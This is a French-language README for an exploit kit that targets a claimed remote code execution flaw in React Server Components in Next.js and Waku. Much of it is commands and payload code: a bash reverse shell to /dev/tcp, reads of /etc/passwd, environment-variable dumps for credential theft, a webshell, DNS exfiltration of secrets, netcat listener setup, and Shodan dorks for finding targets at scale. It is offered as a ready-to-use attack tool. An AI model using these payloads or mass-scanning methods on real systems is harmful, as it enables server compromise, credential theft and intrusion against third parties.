🔥 Kit d'exploitation RSC RCE

---

📋 Table des matières

• Aperçu
• Détails de la vulnérabilité
• Fonctionnalités
• Installation
• Démarrage rapide
• Utilisation
  • Exploitation de base
  • Payloads disponibles
  • Payloads personnalisés
• Intégration Shodan
• Analyse automatisée
• Exemples
• Atténuation
• Versions concernées
• Contribution
• Avertissement
• Licence

---

🎯 Aperçu

Ce kit exploite une vulnérabilité critique d'exécution de code à distance (RCE) dans les implémentations des React Server Components (RSC), ciblant spécifiquement :

• Next.js (versions 13.4.0 - 14.1.0)
• Waku (versions vulnérables)

La vulnérabilité tire parti de la pollution de prototype et d'une désérialisation non sécurisée dans le mécanisme de gestion des données de RSC pour parvenir à une exécution de code arbitraire sur le serveur.

🔴 Sévérité : CRITIQUE

• Score CVSS : 9,8 (Critique)
• Vecteur d'attaque : Réseau
• Privilèges requis : Aucun
• Interaction utilisateur : Aucune
• Impact : Compromission totale du serveur

---

🔬 Détails de la vulnérabilité

Contexte technique

Les React Server Components utilisent un format de sérialisation personnalisé pour transférer les données entre le client et le serveur. La vulnérabilité réside dans la façon dont ces frameworks désérialisent et traitent des payloads spécialement conçus.

Chaîne d'attaque :

1. Construction du payload : Concevoir un payload RSC malveillant avec des références circulaires
2. Pollution de prototype : Abuser de $X:constructor:constructor pour accéder au constructeur Function
3. Injection de code : Injecter du JavaScript arbitraire dans le champ _prefix
4. Exécution : Le serveur désérialise et exécute le payload

Déroulement de l'exploitation

Attacker → Malicious RSC Payload → Target Server
                                         ↓
                              Unsafe Deserialization
                                         ↓
                              Prototype Chain Access
                                         ↓
                              Function Constructor
                                         ↓
                              ⚠️ RCE ACHIEVED ⚠️

---

✨ Fonctionnalités

Fonctionnalités principales

• ✅ Prise en charge de plusieurs frameworks : Next.js et Waku
• ✅ 8 payloads pré-construits : Du PoC aux reverse shells complets
• ✅ Exécution de code personnalisé : Injecter n'importe quel code JavaScript
• ✅ Intégration Shodan : Découverte automatisée de cibles
• ✅ Analyse de masse : Tester plusieurs cibles automatiquement
• ✅ CLI professionnelle : Interface en ligne de commande complète
• ✅ Journalisation détaillée : Sortie colorée avec horodatage
• ✅ Gestion des erreurs : Gestion robuste des erreurs

Payloads pré-construits

Payload	Description	Cas d'utilisation
console	PoC de base (console.log)	Vérifier la vulnérabilité
reverseShell	Reverse shell Bash	Accès initial
readFile	Lire /etc/passwd	Accès au système de fichiers
envDump	Vider les variables d'environnement	Extraction d'identifiants
execCommand	Exécuter des commandes système	Exécution de commandes arbitraires
webshell	Déployer un webshell Express	Accès persistant
exfilPackage	Exfiltrer package.json	Analyse des dépendances
dnsExfil	Exfiltration DNS (OOB)	Exploitation aveugle

---

📦 Installation

Prérequis

• Node.js >= 16.0.0
• npm ou yarn
• Shodan CLI (optionnel, pour l'analyse automatisée)

Cloner le dépôt

git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

Installer les dépendances

npm install
# or
yarn install

Configurer Shodan (optionnel)

# Install Shodan CLI
pip install shodan

# Initialize with your API key
shodan init YOUR_API_KEY

---

🚀 Démarrage rapide

1. Vérification de vulnérabilité de base

node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. Obtenir un reverse shell

# Start listener
nc -lvnp 4444

# Execute exploit
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. Exécuter une commande personnalisée

node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

---

📖 Utilisation

Exploitation de base

node rsc-rce-exploit.js [options]

Options

Option	Description	Requis
--target <url>	URL cible	✅
--framework <name>	Framework : next ou waku	❌ (défaut : next)
--payload <name>	Nom du payload (voir ci-dessous)	✅*
--custom <code>	Code JavaScript personnalisé	✅*
--lhost <ip>	Votre IP (pour le reverse shell)	❌
--lport <port>	Votre port (pour le reverse shell)	❌
--command <cmd>	Commande à exécuter	❌
--endpoint <path>	Endpoint RSC personnalisé (Waku)	❌
--action-id <id>	ID next-action personnalisé	❌
--list	Lister les payloads disponibles	❌
--verbose	Sortie détaillée (verbose)	❌
--help	Afficher l'aide	❌

*--payload ou --custom est requis

Payloads disponibles

Voir tous les payloads :

node rsc-rce-exploit.js --list

Sortie :

📋 Available payloads:

  console              - Basic PoC - Console output
    Code: console.log(7*7+1)

  reverseShell         - Reverse shell (bash)
    Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - Read /etc/passwd
    Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - Dump environment variables
    Code: console.log(JSON.stringify(process.env,null,2))

  execCommand          - Execute system command
    Code: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - Write webshell to /tmp
    Code: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - Read package.json
    Code: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS exfiltration
    Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

Payloads personnalisés

Exécuter n'importe quel code JavaScript :

node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

---

🌐 Intégration Shodan

Dorks Shodan

Cibles Next.js

# Basic Next.js
http.component:"Next.js"

# Next.js with RSC
http.html:"__next" http.html:"RSC"